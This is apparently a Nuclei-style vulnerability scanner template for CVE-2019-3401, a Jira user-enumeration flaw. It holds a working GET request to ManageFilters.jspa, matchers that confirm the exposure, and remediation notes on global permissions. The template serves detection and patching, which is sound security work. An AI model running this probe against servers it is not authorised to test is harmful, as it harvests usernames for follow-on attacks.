id: CVE-2019-3401

info:
  name: Atlassian JIRA Information Exposure (CVE-2019-3401)
  author: TechbrunchFR,milo2012
  severity: medium
  description: The ManageFilters.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to enumerate usernames via an incorrect authorisation check.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-69244
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-3401
    cwe-id: CWE-200
  tags: cve,cve2019,jira,atlassian,exposure

requests:
  - method: GET
    path:
      - "{{BaseURL}}/secure/ManageFilters.jspa?filter=popular&filterView=popular"
    matchers:
      - type: word
        words:
          - '<span data-filter-field="owner-full-name">'
          - '<title>Manage Filters - Jira</title>'
        condition: and

# Remediation:
# Ensure that this permission is restricted to specific groups that require it.
# You can restrict it in Administration > System > Global Permissions.
# Turning the feature off will not affect existing filters and dashboards.
# If you change this setting, you will still need to update the existing filters and dashboards if they have already been
# shared publicly.
# Since Jira 7.2.10, a dark feature to disable site-wide anonymous access was introduced.